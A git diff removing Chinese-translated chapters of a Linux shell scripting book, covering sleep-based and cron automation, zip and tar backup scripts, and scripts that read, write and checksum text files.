-读者将学习如何创建自动化脚本。 - -我们在[第三章](03.html "Chapter 3. Using Loops and the sleep Command")、*中讨论了`sleep`命令使用循环和睡眠命令*。只要遵循一些准则,就可以使用它来创建自动化脚本(即在特定时间运行的脚本,无需用户干预)。 - -这个非常简单的脚本将强化我们在[第 3 章](03.html "Chapter 3. Using Loops and the sleep Command") *中所讲述的使用循环和睡眠命令*来使用`sleep`命令实现自动化: - -# 第六章-剧本 1 - -```sh -#!/bin/sh -# -# 5/23/2017 -# -echo "script1 - Linux Scripting Book" -while [ true ] -do - date - sleep 1d -done -echo "End of script1" -exit 0 -``` - -如果你在你的系统上运行这个并等待几天,你会开始看到日期有一点错误。这是因为`sleep`命令在脚本中插入了一个延迟,它并不意味着它要每天在同一时间运行脚本。 - -### 注 - -下面的脚本更详细地展示了这个问题。注意,这是一个不该做什么的例子。 - -## 第六章-剧本 2 - -```sh -#!/bin/sh -# -# 5/23/2017 -# -echo "script2 - Linux Scripting Book" -while [ true ] -do - # Run at 3 am - date | grep -q 03:00: - rc=$? - if [ $rc -eq 0 ] ; then - echo "Run commands here." - date - fi - sleep 60 # sleep 60 seconds -done -echo "End of script2" -exit 0 -``` - -您首先会注意到,该脚本将一直运行,直到通过 *Ctrl* + *C* 或`kill`命令手动终止(或当机器因任何原因停机时)。自动化脚本永远运行是很常见的。 - -`date`命令在没有任何参数的情况下运行,返回如下内容: - -```sh - guest1 $ date - Fri May 19 15:11:54 HST 2017 -``` - -所以现在我们要做的就是用`grep`来匹配那个时间。不幸的是,这里有一个非常微妙的问题。已经证实,这种情况有可能时有发生。例如,如果时间刚刚更改为凌晨 3:00,并且程序现在处于睡眠状态,则它醒来时可能已经是 3:01。在我从事计算的早期,我在工作中一直看到这样的代码,从来没有想过。有一天,当一些重要的备份丢失时,我的团队被要求弄清楚发生了什么,我们发现了这个问题。对此的快速解决方案是将秒更改为 59,然而,更好的方法是使用 cron,这将在本章后面显示。 - -注意`grep`的`-q`选项,这只是告诉它抑制任何输出。如果你想的话,请随意拿出来,尤其是在第一次写剧本的时候。还要注意的是当找到匹配时`grep`返回`0`,否则为非零。 - -说了这么多让我们来看看一些简单的自动化脚本。自 1996 年以来,我一直在我的 Linux 系统上运行以下内容: - -## 第六章-剧本 3 - -```sh -#!/bin/sh -# -# 5/23/2017 -# -echo "script3 - Linux Scripting Book" -FN=/tmp/log1.txt # log file -while [ true ] -do - echo Pinging $PROVIDER - ping -c 1 $PROVIDER - rc=$? - if [ $rc -ne 0 ] ; then - echo Cannot ping $PROVIDER - date >> $FN - echo Cannot ping $PROVIDER >> $FN - fi - sleep 60 -done -echo "End of script3" # 60 seconds -exit 0 -``` - -我系统上的输出: - -![Chapter 6 - Script 3](img/B07040_06_01.jpg) - -我只运行了三次,然而,它将永远消失。在你的系统上运行之前,让我们来谈谈那个`PROVIDER`环境变量。我的系统上有几个处理互联网的脚本,我发现自己在不断地更换提供商。没花太长时间就意识到这是使用 env var 的好时机,因此有了`PROVIDER`。 - -这是在我的`/root/.bashrc and /home/guest1/.bashrc`文件中: - -```sh - export PROVIDER=twc.com -``` - -根据需要替换你的。还要注意,当故障发生时,它会被写入屏幕和文件。由于正在使用`>>`追加操作符,文件可能最终会变得相当大,因此如果您的连接不是很稳定,请相应地进行规划。 - -### 类型 - -小心不要在短时间内 ping 或访问公司网站太多次。这可能会被检测到,您的访问可能会被拒绝。 - -以下是一个脚本,用于检测用户何时登录或退出您的系统: - -## 第六章-剧本 4 - -```sh -#!/bin/sh -# -# 5/23/2017 -# -echo "Chapter 6 - Script 4" -numusers=`who | wc -l` -while [ true ] -do - currusers=`who | wc -l` # get current number of users - if [ $currusers -gt $numusers ] ; then - echo "Someone new has logged on!!!!!!!!!!!" - date - who -# beep - numusers=$currusers - elif [ $currusers -lt $numusers ] ; then - echo "Someone logged off." - date - numusers=$currusers - fi - sleep 1 # sleep 1 second -done -``` - -以下是输出(根据长度进行调整): - -![Chapter 6 - Script 4](img/B07040_06_02.jpg) - -该脚本检查来自`who`命令的输出,以查看自上次运行以来它是否改变了。如果是这样,它会采取适当的行动。如果您的系统上有一个`beep`命令或等效命令,这是一个使用它的好地方。 - -看看这个说法: - -```sh - currusers=`who | wc -l` # get current number of users -``` - -这需要一些澄清,因为我们还没有涉及它。这些倒勾字符意味着在内部运行命令并将结果放入变量。在这种情况下,`who`命令通过管道传输到`wc -l`命令中,以计算行数。该值随后被输入到`currusers`变量中。如果这听起来有点复杂,不要担心,它将在下一章中更详细地介绍。 - -脚本的其余部分应该已经很清楚了,因为我们之前已经讨论过了。如果你决定在你的系统上运行类似的东西,只要记住它会在每次打开新的终端时触发。 - -## 克朗 - -好了,现在来点真正的乐趣。如果你使用 Linux 的时间很短,你可能已经知道 cron 了。这是一个后台进程,在特定时间执行命令。 - -Cron 每分钟读取一个名为`crontab`的文件,以确定是否需要运行一个命令。 - -对于本章中的示例,我们将只针对一个客户帐户(而不是根帐户)将集中在`crontab`上。 - -这里使用我的`guest1`帐户是它第一次运行时的样子。最好在客户帐户下继续使用您的系统: - -```sh -guest1 $ crontab -l -no crontab for guest1 -guest1 $ -``` - -这是有道理的,因为我们还没有为`guest1`创建`crontab`文件。它并不意味着可以直接编辑,因此使用了`crontab -e`命令。 - -现在在您的系统上的来宾帐户下运行`crontab -e`。 - -以下是使用 vi 时它在我的系统上的显示屏幕截图: - -![Cron](img/B07040_06_03.jpg) - -如您所见可以使用`crontab`命令创建一个临时文件。不幸的是,这个文件是空的,因为他们应该提供一个模板。现在再加一个。将以下文本复制并粘贴到文件中: - -```sh -# this is the crontab file for guest1 -# min hour day of month month day of week command -# 0-59 0-23 1-31 1-12 0-6 -# Sun=0 Mon=1 Tue=2 Wed=3 Thu=4 Fri=5 Sat=6 -``` - -用`guest1`代替你的用户名。这给了我们一个去哪里的想法。 - -向该文件添加以下行: - -```sh - * * * * * date > /dev/pts/31 -``` - -`*`的意思是匹配场上的一切。所以本质上这条线每分钟会发射一次。 - -我们正在使用重定向操作符将`echo`命令的输出写入另一个终端。适当地替换你的。 - -在您的系统上尝试上述方法。请记住,您必须先保存文件,您应该会看到以下输出: - -```sh -guest1 $ crontab -e -crontab: installing new crontab -guest1 $ -``` - -这意味着添加成功。现在等待下一分钟到来。你应该在另一个终端上看到当前日期。 - -我们现在可以看到 cron 的基础。以下是一些快速的提示: - -```sh -0 0 * * * command # run every day at midnight -0 3 * * * command # run every day at 3 am -30 9 1 * * command # run at 9:30 am on the first of the month -45 14 * * 0 command # run at 2:45 pm on Sundays -0 0 25 12 * command # run at midnight on my birthday -``` - -这只是如何在 cron 中设置日期和时间的一个很小的子集。更多信息请参考 cron 和`crontab`的`man`页面。 - -需要提到的一点是用户 cron 的`PATH`。它不来源于用户的`.bashrc`文件。您可以通过添加以下行来验证这一点: - -```sh -* * * * * echo $PATH > /dev/pts/31 # check the PATH -``` - -在我的 CentOS 6.8 系统上,它显示: - -```sh -/usr/bin:/bin -``` - -要解决这个问题,您可以获取您的`.bashrc`文件: - -```sh -* * * * * source $HOME/.bashrc; echo $PATH > /dev/pts/31 # check the PATH -``` - -现在,这应该显示出真正的路径。`EDITOR`环境变量在[第 2 章](02.html "Chapter 2. Working with Variables")、*处理变量*中提到。如果您希望`crontab`使用不同的文本编辑器,您可以将`EDITOR`设置为您想要的路径/名称。 - -例如,在我的系统上,我有这个: - -```sh -export EDITOR=/home/guest1/bin/kw -``` - -所以当我跑的时候我得到了这个: - -![Cron](img/B07040_06_04.jpg) - -另一个需要提到的是如果你在某些情况下使用`crontab`时出错,它会在你试图保存文件时告诉你。但是它不能检查所有的东西,所以要小心。另外,如果命令出错`crontab`将使用邮件系统通知用户。因此,考虑到这一点,在使用 cron 时,您可能需要不时运行`mail`命令。 - -现在我们已经了解了基础知识,让我们创建一个使用`zip`命令的备份脚本。如果不熟悉`zip`不用担心,这样会让你快速上手。在 Linux 系统上,大多数人只使用`tar`命令,但是,如果你知道`zip`是如何工作的,你可以更容易地与 Windows 用户共享文件。 - -在来宾帐户下的目录中,在您的系统上运行这些命令。像往常一样,我使用`/home/guest1/LinuxScriptingBook`: - -制作一个`work`目录: - -```sh -guest1 ~/LinuxScriptingBook $ mkdir work -``` - -更改为: - -```sh -guest1 ~/LinuxScriptingBook $ cd work -``` - -创建一些临时文件,和/或将一些现有文件复制到此目录: - -```sh -guest1 ~/LinuxScriptingBook/work $ route > route.txt -guest1 ~/LinuxScriptingBook/work $ ifconfig > ifconfig.txt -guest1 ~/LinuxScriptingBook/work $ ls -la /usr > usr.txt -guest1 ~/LinuxScriptingBook/work $ cp /etc/motd . -``` - -获取列表: - -```sh -guest1 ~/LinuxScriptingBook/work $ ls -la -total 24 -drwxrwxr-x 2 guest1 guest1 4096 May 23 09:44 . -drwxr-xr-x 8 guest1 guest1 4096 May 22 15:18 .. --rw-rw-r-- 1 guest1 guest1 1732 May 23 09:44 ifconfig.txt --rw-r--r-- 1 guest1 guest1 1227 May 23 09:44 motd --rw-rw-r-- 1 guest1 guest1 335 May 23 09:44 route.txt --rw-rw-r-- 1 guest1 guest1 724 May 23 09:44 usr.txt -``` - -拉上拉链: - -```sh -guest1 ~/LinuxScriptingBook/work $ zip work1.zip * - adding: ifconfig.txt (deflated 69%) - adding: motd (deflated 49%) - adding: route.txt (deflated 52%) - adding: usr.txt (deflated 66%) -``` - -获取另一个列表: - -```sh -guest1 ~/LinuxScriptingBook/work $ ls -la -total 28 -drwxrwxr-x 2 guest1 guest1 4096 May 23 09:45 . -drwxr-xr-x 8 guest1 guest1 4096 May 22 15:18 .. --rw-rw-r-- 1 guest1 guest1 1732 May 23 09:44 ifconfig.txt --rw-r--r-- 1 guest1 guest1 1227 May 23 09:44 motd --rw-rw-r-- 1 guest1 guest1 335 May 23 09:44 route.txt --rw-rw-r-- 1 guest1 guest1 724 May 23 09:44 usr.txt --rw-rw-r-- 1 guest1 guest1 2172 May 23 09:45 work1.zip -``` - -该目录中现在有文件`work1.zip`。创建`zip`文件的语法是: - -```sh - zip [optional parameters] filename.zip list-of-files-to-include -``` - -要解压它: - -```sh - unzip filename.zip -``` - -要查看(或列出)一个`zip`文件的内容而不提取它: - -```sh - unzip -l filename.zip -``` - -这也是确保`.zip`文件被正确创建的好方法,因为如果解压程序无法读取文件,它会报告一个错误。请注意,`zip`命令不仅创建了一个`.zip`文件,而且还压缩了数据。这使得备份文件更小。 - -下面是一个使用`zip`备份一些文件的短脚本: - -## 第六章-剧本 5 - -```sh -#!/bin/sh -# -# 5/23/2017 -# -echo "script5 - Linux Scripting Book" -FN=work1.zip -cd /tmp -mkdir work 2> /dev/null # suppress message if directory already exists -cd work -cp /etc/motd . -cp /etc/issue . -ls -la /tmp > tmp.txt -ls -la /usr > usr.txt -rm $FN 2> /dev/null # remove any previous file -zip $FN * -echo File "$FN" created. -# cp to an external drive, and/or scp to another computer -echo "End of script5" -exit 0 -``` - -我系统上的输出: - -![Chapter 6 - Script 5](img/B07040_06_05.jpg) - -这是一个非常简单的脚本,但是它展示了使用`zip`命令备份一些文件的基础。 - -假设我们想每天午夜运行这个。假设`script5`位于`/tmp`之下,`crontab`条目如下: - -```sh -guest1 /tmp/work $ crontab -l -# this is the crontab file for guest1 - -# min hour day of month month day of week command -# 0-59 0-23 1-31 1-12 0-6 Sun=0 -# Sun=0 Mon=1 Tue=2 Wed=3 Thu=4 Fri=5 Sat=6 - -0 0 * * * /tmp/script5 -``` - -在这种情况下,我们不必获取`/home/guest1/.bashrc`文件。还要注意,任何错误都会发送到用户的邮件帐户。zip 命令可以做的远不止这些,例如,它可以递归到目录中。有关更多信息,请参考手册页。 - -现在我们来谈谈 Linux `tar`命令。它比`zip`命令使用更频繁,更擅长获取所有文件,甚至是隐藏的文件。回到`/tmp/work directory`,这里是你如何使用`tar`来备份它。假设文件仍在先前脚本中: - -```sh -guest1 /tmp $ tar cvzf work1.gz work/ -work/ -work/motd -work/tmp.txt -work/issue -work/work1.zip -work/usr.txt -guest1 /tmp $ -``` - -现在`/tmp`目录下有文件`work1.gz`。它是`/tmp/work`下所有文件内容的压缩存档,包括我们之前创建的`.zip`文件。 - -tar 的语法一开始有点神秘,但你会习惯的。tar 中提供的一些功能包括: - - -| - -参数 - - | - -特征 - - | -| --- | --- | -| `c` | 创建档案 | -| `x` | 提取档案 | -| `v` | 使用详细选项 | -| `z` | 使用 gunzip 样式压缩(。gz) | -| `f` | 要创建/提取的文件名 | - -请注意,如果不包括`z`选项,文件将不会被压缩。按照惯例,文件扩展名将只是 tar。请注意,用户控制文件的实际名称,而不是`tar`命令。 - -好了,现在我们有一个压缩的`tar-gz file`(或档案)。下面是如何解压缩文件。我们将在`/home/guest1`下进行: - -```sh -guest1 /home/guest1 $ tar xvzf /tmp/work1.gz -work/ -work/motd -work/tmp.txt -work/issue -work/work1.zip -work/usr.txt -guest1 /home/guest1 $ -``` - -用 tar 备份系统真的很方便。这也是用你的个人文件配置一台新机器的好方法。例如,我会定期备份主系统上的以下目录: - -```sh - /home/guest1 - /lewis - /temp - /root -``` - -然后,这些文件会自动复制到外部 u 盘。请记住,tar 会自动递归到目录中,并获取每个文件,包括隐藏的文件。Tar 还有许多其他选项来控制如何创建归档。最常见的选项之一是排除某些目录。 - -例如,在备份`/home/guest1`时,确实没有理由包含`.cache`、`Cache`、`.thumbnails`等目录。 - -排除目录的选项是`--exclude=`,这将在下一个脚本中显示。 - -以下是我在我的主 Linux 系统上使用的备份程序。这是两个脚本,一个用于计划备份,一个用于实际执行工作。我这样做主要是为了在不关闭调度程序脚本的情况下对实际的备份脚本进行更改。首先需要设置的是`crontab`条目。以下是它在我的系统上的样子: - -```sh -guest1 $ crontab -l -# this is the crontab file for guest1 -# min hour day of month month day of week command -# 0-59 0-23 1-31 1-12 0-6 Sun=0 -# Sun=0 Mon=1 Tue=2 Wed=3 Thu=4 Fri=5 Sat=6 -TTY=/dev/pts/31 - - 0 3 * * * touch /tmp/runbackup-cron.txt -``` - -这将在每天凌晨 3 点左右创建文件`/tmp/backup-cron.txt`。 - -请注意,以下脚本必须以 root 用户身份运行: - -## 第六章-剧本 6 - -```sh -#!/bin/sh -# -# runbackup1 - this version watches for file from crontab -# -# 6/3/2017 - mainlogs now under /data/mainlogs -# -VER="runbackup1 6/4/2017 A" -FN=/tmp/runbackup-cron.txt -DR=/wd1 # symbolic link to external drive - -tput clear -echo $VER - -# Insure backup drive is mounted -file $DR | grep broken -rc=$? -if [ $rc -eq 0 ] ; then - echo "ERROR: USB drive $DR is not mounted!!!!!!!!!!!!!!" - beep - exit 255 -fi - -cd $LDIR/backup - -while [ true ] -do - # crontab creates the file at 3 am - - if [ -f $FN ] ; then - rm $FN - echo Running backup1 ... - backup1 | tee /data/mainlogs/mainlog`date '+%Y%m%d'`.txt - echo $VER - fi - - sleep 60 # check every minute -done -``` - -这里有很多信息,所以我们将一行一行地浏览: - -* 脚本首先设置变量,清除屏幕,显示脚本名称。 -* `DR`变量分配给我的 USB 外接驱动器(`wd1`),这是一个符号链接。 -* 然后使用`file`命令进行检查,以确保`/wd1`已安装。如果没有,则`file`命令将返回断开的符号链接,`grep`将在此触发,脚本将中止。 -* 如果驱动器已安装,则进入循环。每分钟都会检查文件的存在,看是否到了开始备份的时间。 -* 找到文件后,运行`backup1`脚本(见下一步)。使用`tee`命令将其输出发送到屏幕和文件。 -* 日期格式说明符`'+%Y%m%d'`以这种格式显示日期:YYYYMMDD - -我不时检查`/data/mainlogs`目录中的文件,以确保我的备份创建正确,没有错误。 - -以下脚本用于备份我的系统。这里的逻辑是当天备份存储在硬盘`$TDIR`目录下。它们也被复制到外部驱动器上的编号目录中。这些进入编号为 1 到 7 的目录。当到达最后一个时,它再次从 1 开始。这样,外部驱动器上总是有 7 天的备份可用。 - -该脚本必须也以 root 身份运行: - -## 第六章-剧本 7 - -```sh -#!/bin/sh -# Jim's backup program -# Runs standalone -# Copies to /data/backups first, then to USB backup drive -VER="File backup by Jim Lewis 5/27/2017 A" -TDIR=/data/backups -RUNDIR=$LDIR/backup -DR=/wd1 -echo $VER -cd $RUNDIR -# Insure backup drive is mounted -file $DR | grep broken -a=$? -if [ "$a" != "1" ] ; then - echo "ERROR: USB drive $DR is not mounted!!!!!!!!!!!!!!" - beep - exit 255 -fi -date >> datelog.txt -date -echo "Removing files from $TDIR" -cd "$TDIR" -rc=$? -if [ $rc -ne 0 ] ; then - echo "backup1: Error cannot change to $TDIR!" - exit 250 -fi -rm *.gz -echo "Backing up files to $TDIR" -X=`date '+%Y%m%d'` -cd / -tar cvzf "$TDIR/lewis$X.gz" lewis -tar cvzf "$TDIR/temp$X.gz" temp -tar cvzf "$TDIR/root$X.gz" root -cd /home -tar cvzf "$TDIR/guest$X.gz" --exclude=Cache --exclude=.cache --exclude=.evolution --exclude=vmware --exclude=.thumbnails --exclude=.gconf --exclude=.kde --exclude=.adobe --exclude=.mozilla --exclude=.gconf --exclude=thunderbird --exclude=.local --exclude=.macromedia --exclude=.config guest1 -cd $RUNDIR -T=`cat filenum1` -BACKDIR=$DR/backups/$T -rm $BACKDIR/*.gz -cd "$TDIR" -cp *.gz $BACKDIR -echo $VER -cd $BACKDIR -pwd -ls -lah -cd $RUNDIR -let T++ -if [ $T -gt 7 ] ; then - T=1 -fi -echo $T > filenum1 -``` - -这比之前的脚本要复杂一点,所以让我们一行一行来看一下: - -* `RUNDIR`变量保存脚本的起始目录。 -* `DR`变量指向外部备份驱动器。 -* 检查驱动器以确保其已安装。 -* 当前日期被追加到`datelog.txt`文件中。 -* `TDIR`变量是备份的目标目录。 -* 对该目录执行`cd`并检查返回代码。出现错误时,脚本以`250`退出。 -* 前一天的备份被删除。 - -它现在回到`/`目录执行 tar 备份。 - -注意`guest1`目录中排除了几个目录。 - -* `cd $RUNDIR`将其放回起始目录。 -* `T=`filenum1``从该文件中获取值并将其放入`T`变量中。这是一个计数器,用于指示下一步在外部驱动器上使用哪个目录。 -* `BACKDIR`设置为旧备份,然后删除。 -* 控制再次返回到起始目录,当前备份被复制到外部驱动器上的适当目录。 -* 程序的版本会再次显示,以便在杂乱的屏幕上很容易找到。 -* 控制转到备份目录,`pwd`显示名称,然后显示目录内容。 -* `T`变量增加 1。如果大于 7,则设置回 1。 - -最后更新的`T`变量被写回`filenum1`文件。 - -无论您想要开发什么样的备份过程,该脚本都应该是一个很好的起点。请注意,`scp`命令可用于将文件直接复制到另一台计算机,无需用户干预。这将在[第 10 章](10.html "Chapter 10. Scripting Best Practices")、*脚本最佳实践*中介绍。 - -# 总结 - -我们描述了如何创建脚本来自动化任务。介绍了使用 cron 在特定时间自动运行脚本的正确方法。讨论了归档命令`zip`和`tar`以展示如何执行压缩备份。还包括并讨论了完整的计划程序和备份脚本。 - -在下一章中,我们将展示如何在脚本中读写文件。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/07.md b/docs/linux-shell-script-bc/07.md deleted file mode 100644 index c421e80f..00000000 --- a/docs/linux-shell-script-bc/07.md +++ /dev/null @@ -1,518 +0,0 @@ -# 七、使用文件 - -本章将展示如何读取和写入文本文件。它还将涵盖文件加密和校验和。 - -本章涵盖的主题如下: - -* 演示如何使用重定向操作符写出文件 -* 演示如何读取文件 -* 解释如何捕获命令输出并在脚本中使用 -* 查看`cat`和其他重要命令 -* 涵盖文件加密和校验和程序,如 sum 和 OpenSSL - -# 写文件 - -我们在前面的一些章节中展示了如何使用重定向操作符创建和写入文件。概括地说,该命令将创建文件`ifconfig.txt`(或者如果文件已经存在,则覆盖该文件): - -```sh - ifconfig > ifconfig.txt -``` - -以下命令将附加到任何以前的文件,或者创建一个新文件(如果它还不存在的话): - -```sh - ifconfig >> ifconfig.txt -``` - -前面的一些脚本使用 back-tick 运算符从文件中检索数据。让我们回顾一下*脚本 1* : - -## 第七章-剧本 1 - -```sh -#!/bin/sh -# -# 6/1/2017 -# -echo "Chapter 7 - Script 1" -FN=file1.txt -rm $FN 2> /dev/null # remove it silently if it exists -x=1 -while [ $x -le 10 ] # 10 lines -do - echo "x: $x" - echo "Line $x" >> $FN # append to file - let x++ -done -echo "End of script1" -exit 0 -``` - -下面是的截图: - -![Chapter 7 - Script 1](img/B07040_07_01.jpg) - -这是非常直接的。如果文件存在,它会(无声地)删除该文件,然后将每一行输出到该文件,每次递增`x`。当`x`到达`10`时,循环终止。 - -# 读取文件 - -现在让我们再来看看上一章中的备份脚本用来从文件中获取值的方法: - -## 第七章-剧本 2 - -```sh -#!/bin/sh -# -# 6/2/2017 -# -echo "Chapter 7 - Script 2" - -FN=filenum1.txt # input/output filename -MAXFILES=5 # maximum number before going back to 1 - -if [ ! -f $FN ] ; then - echo 1 > $FN # create the file if it does not exist -fi - -echo -n "Contents of $FN: " -cat $FN # display the contents - -count=`cat $FN` # put the output of cat into variable count -echo "Initial value of count from $FN: $count" - -let count++ -if [ $count -gt $MAXFILES ] ; then - count=1 -fi - -echo "New value of count: $count" -echo $count > $FN - -echo -n "New contents of $FN: " -cat $FN - -echo "End of script2" -exit 0 -``` - -以下是*脚本 2* 的截图: - -![Chapter 7 - Script 2](img/B07040_07_02.jpg) - -我们从将`FN`变量设置为文件名(`filenum1.txt`)开始。它由`cat`命令显示,然后文件的内容被分配给`count`变量。它会显示出来,然后递增 1。新值被写回文件,然后再次显示。运行这个至少 6 次,看看它如何包装。 - -这只是创建和读取文件的一种简单方法。现在让我们看一个从文件中读取几行的脚本。它将使用由前面的*脚本 1* 创建的文件`file1.txt`。 - -## 第七章-剧本 3 - -```sh -#!/bin/sh -# -# 6/1/2017 -# -echo "Chapter 7 - Script 3" -FN=file1.txt # filename -while IFS= read -r linevar # use read to put line into linevar -do - echo "$linevar" # display contents of linevar -done < $FN # the file to use as input -echo "End of script3" -exit 0 -``` - -这是输出: - -![Chapter 7 - Script 3](img/B07040_07_03.jpg) - -这里的结构可能看起来有点奇怪,因为它与我们之前看到的有很大不同。该脚本使用`read`命令获取文件的每一行。在声明中: - -```sh - while IFS= read -r linevar -``` - -`IFS=` ( **内部字段分隔符**)防止`read`修剪前导和尾随空白字符。要读取的`-r`参数导致反斜杠转义序列被忽略。下一行使用重定向操作符启用`file1.txt`作为`read`的输入。 - -```sh - done < $FN -``` - -这里有很多新材料,所以仔细检查一下,直到你适应为止。 - -上面的剧本有一点小瑕疵。如果文件不存在,将会出现错误。请看下面的截图: - -![Chapter 7 - Script 3](img/B07040_07_04.jpg) - -解释 Shell 脚本,意思是系统一次检查并运行一行。这不同于用 C 语言编写的编译程序。这意味着任何语法错误都将出现在编译阶段,而不是程序运行时。我们将在[第 9 章](09.html "Chapter 9. Debugging Scripts")、*调试脚本*中讨论如何避免大多数 shell 脚本语法错误。 - -下面是*脚本 4* 以及缺失文件问题的解决方案: - -## 第七章-剧本 4 - -```sh -#!/bin/sh -# -# 6/1/2017 -# -echo "Chapter 7 - Script 4" - -FN=file1.txt # filename -if [ ! -f $FN ] ; then - echo "File $FN does not exist." - exit 100 -fi - -while IFS= read -r linevar # use read to put line into linevar -do - echo "$linevar" # display contents of linevar -done < $FN # the file to use as input - -echo "End of script4" -exit 0 -``` - -以下为输出: - -![Chapter 7 - Script 4](img/B07040_07_05.jpg) - -使用文件时请记住这一点,并在尝试读取文件之前始终检查以确保文件存在。 - -# 读写文件 - -下一个脚本读取一个文本文件并创建它的副本: - -## 第七章-剧本 5 - -```sh -#!/bin/sh -# -# 6/1/2017 -# -echo "Chapter 7 - Script 5" - -if [ $# -ne 2 ] ; then - echo "Usage: script5 infile outfile" - echo " Copies text file infile to outfile." - exit 255 -fi - -INFILE=$1 -OUTFILE=$2 - -if [ ! -f $INFILE ] ; then - echo "Error: File $INFILE does not exist." - exit 100 -fi - -if [ $INFILE = $OUTFILE ] ; then - echo "Error: Cannot copy to same file." - exit 101 -fi - -rm $OUTFILE 2> /dev/null # remove it -echo "Reading file $INFILE ..." - -x=0 -while IFS= read -r linevar # use read to put line into linevar -do - echo "$linevar" >> $OUTFILE # append to file - let x++ -done < $INFILE # the file to use as input -echo "$x lines read." - -diff $INFILE $OUTFILE # use diff to check the output -rc=$? -if [ $rc -ne 0 ] ; then - echo "Error, files do not match." - exit 103 -else - echo "File $OUTFILE created." -fi - -sum $INFILE $OUTFILE # show the checksums - -echo "End of script5" -exit $rc -``` - -以下是*脚本 5* 的截图: - -![Chapter 7 - Script 5](img/B07040_07_06.jpg) - -这展示了如何在脚本中读写文本文件。下面解释每一行: - -* 该脚本首先检查是否给出了两个参数,如果没有,则显示`Usage`消息。 -* 然后检查输入文件是否存在,如果不存在,则以代码`100`退出。 -* 进行检查以确保用户没有试图复制到同一个文件,因为第 34 行可能会出现语法错误。这段代码确保这不会发生。 -* 如果输出文件存在,则将其删除。这是因为我们希望复制到一个新的文件,而不是附加到现有的文件。 -* `while`循环读写行。对`x`中的行数进行计数。 -* 当循环结束时,输出行数。 -* 作为健全性检查,`diff`命令用于确保文件是相同的。 -* 作为附加检查`sum`命令在两个文件上运行。 - -# 交互读写文件 - -下一个脚本是,类似于第 5 章,创建交互式脚本。它读取指定的文件,显示一个表单,并允许用户编辑然后保存它: - -## 第七章-剧本 6 - -```sh -#!/bin/sh -# 6/2/2017 -# Chapter 7 - Script 6 - -trap catchCtrlC INT # Initialize the trap - -# Subroutines -catchCtrlC() -{ - move 13 0 - savefile - movestr 23 0 "Script terminated by user." - echo "" # carriage return - exit 0 -} - -cls() -{ - tput clear -} - -move() # move cursor to row, col -{ - tput cup $1 $2 -} - -movestr() # move cursor to row, col -{ - tput cup $1 $2 - echo -n "$3" # display string -} - -checktermsize() -{ - rc1=0 # default is no error - if [[ $LINES -lt $1 || $COLUMNS -lt $2 ]] ; then - rc1=1 # set return code - fi - return $rc1 -} - -init() # set up the cursor position array -{ - srow[0]=2; scol[0]=7 # name - srow[1]=4; scol[1]=12 # address 1 - srow[2]=6; scol[2]=12 # address 2 - srow[3]=8; scol[3]=7 # city - srow[4]=8; scol[4]=37 # state - srow[5]=8; scol[5]=52 # zip code - srow[6]=10; scol[6]=8 # email -} - -drawscreen() # main screen draw routine -{ - cls # clear the screen - movestr 0 25 "Chapter 7 - Script 6" - - movestr 2 1 "Name: ${array[0]}" - movestr 4 1 "Address 1: ${array[1]}" - movestr 6 1 "Address 2: ${array[2]}" - movestr 8 1 "City: ${array[3]}" - movestr 8 30 "State: ${array[4]}" - movestr 8 42 "Zip code: ${array[5]}" - movestr 10 1 "Email: ${array[6]}" -} - -getdata() -{ - x=0 # start at the first field - while [ true ] - do - row=${srow[x]}; col=${scol[x]} - move $row $col - read var - if [ -n "$var" ] ; then # if not blank assign to array - array[$x]=$var - fi - let x++ - if [ $x -eq $sizeofarray ] ; then - x=0 # go back to first field - fi - done - - return 0 -} - -savefile() -{ - rm $FN 2> /dev/null # remove any existing file - echo "Writing file $FN ..." - y=0 - while [ $y -lt $sizeofarray ] - do - echo "$y - '${array[$y]}'" # display to screen - echo "${array[$y]}" >> "$FN" # write to file - let y++ - done - echo "File written." - return 0 -} - -getfile() -{ - x=0 - if [ -n "$FN" ] ; then # check that file exists - while IFS= read -r linevar # use read to put line into linevar - do - array[$x]="$linevar" - let x++ - done < $FN # the file to use as input - fi - return 0 -} - -# Code starts here -if [ $# -ne 1 ] ; then - echo "Usage: script6 file" - echo " Reads existing file or creates a new file" - echo " and allows user to enter data into fields." - echo " Press Ctrl-C to end." - exit 255 -fi - -FN=$1 # filename (input and output) -sizeofarray=7 # number of array elements -checktermsize 25 80 -rc=$? -if [ $rc -ne 0 ] ; then - echo "Please size the terminal to 25x80 and try again." - exit 1 -fi - -init # initialize the screen array -getfile # read in file if it exists -drawscreen # draw the screen -getdata # read in the data and put into the fields - -exit 0 -``` - -这是在我的系统上看起来的样子: - -![Chapter 7 - Script 6](img/B07040_07_07.jpg) - -以下是对代码的描述: - -* 这个脚本第一个设置的是 *Ctrl* + *C* 的陷阱,导致文件被保存,脚本结束。 -* 子程序被定义。 -* `getdata`程序用于读取用户输入。 -* `savefile`例程写出数据数组。 -* `getfile`例程将文件(如果存在)读入数组。 -* 参数被检查,因为需要一个文件名。 -* `FN`变量被设置为文件名。 -* 使用数组时,最好有一个固定的大小,即`sizeofarray`。 -* 检查终端的大小,确保它是 25x80(或 80x25,取决于您的图形用户界面)。 -* 调用`init`例程来设置屏幕阵列。 -* 调用例程`getfile`和`drawscreen`。 -* `getdata`例程用于移动光标,并将字段中的数据放入适当的数组位置。 -* *Ctrl* + *C* 用于保存文件和终止脚本。 - -这是一个如何在 Bash 中开发简单屏幕输入/输出例程的例子。这个脚本可能需要一些改进,下面是部分列表: - -* 检查现有文件的特定标题。这有助于确保文件格式正确,避免语法错误。 -* 检查输入文件,确保它是文本而不是二进制文件。提示:使用文件和`grep`命令。 -* 如果文件不能正确地写出来,请确保优雅地捕捉错误。 - -# 文件校验和 - -您可能注意到了上面`sum`命令的使用。它显示文件的校验和和块计数,可用于确定两个或多个文件是否为同一文件(即内容完全相同)。 - -这里有一个真实的例子: - -假设你正在写一本书,文件正由作者发送给出版商审阅。出版商进行一些修改,然后将修改后的文件发送回作者。有时候很容易不同步,收到一个看起来没什么不同的文件。如果您对这两个文件运行`sum`命令,您可以很容易地确定它们是否相同。 - -请看下面的截图: - -![File checksums](img/B07040_07_08.jpg) - -第一列是校验和,第二列是块计数。如果这两者相同,则意味着文件的内容相同。因此,在本例中,bookfiles 1、2 和 4 是相同的。Bookfiles 3 和 5 也是一样的。然而,bookfiles 6、7 和 8 与任何东西都不匹配,最后两个甚至没有相同的块计数。 - -### 类型 - -注意:`sum`命令只查看文件的内容和块数。它不查看文件名或其他文件属性,如所有权或权限。为此,您可以使用`ls`和`stat`命令。 - -# 文件加密 - 